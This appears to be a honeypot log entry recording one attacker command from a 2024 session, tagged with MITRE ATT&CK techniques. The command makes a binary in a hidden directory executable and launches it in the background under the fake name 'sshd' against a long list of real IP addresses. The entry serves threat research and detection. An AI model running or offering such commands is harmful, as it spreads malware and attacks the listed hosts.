Honeypot attack session (period 2024), commands issued:
chmod +x ./.8959339081831095377/sshd;nohup ./.8959339081831095377/sshd 208.65.84.108 51.159.17.182 185.124.108.182 117.169.102.133 180.100.197.151 106.116.209.107 181.113.114.115 115.238.185.62 222.77.96.50 106.105.212.133 125.124.199.57 14.116.213.236 222.186.10.214 192.3.153.202 85.133.151.219 208.65.84.203 101.132.126.194 52.237.90.180 101.89.177.169 115.239.255.13 208.65.84.84 106.116.209.121 154.126.176.254 193.226.50.6 138.68.141.221 168.90.18.21 113.125.127.139 51.83.129.53 193.169.244.205 43.248.188.109 158.51.96.38 182.151.25.46 101.44.163.209 218.241.229.60 140.249.204.169 140.246.77.210 23.145.168.126 64.225.76.134 62.72.1.151 222.77.96.52 79.120.74.12 139.198.9.27 107.158.225.94 172.245.79.216 120.232.132.200 159.203.68.250 183.221.214.95 107.172.108.61 47.102.128.57 176.123.160.46 43.248.188.103 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter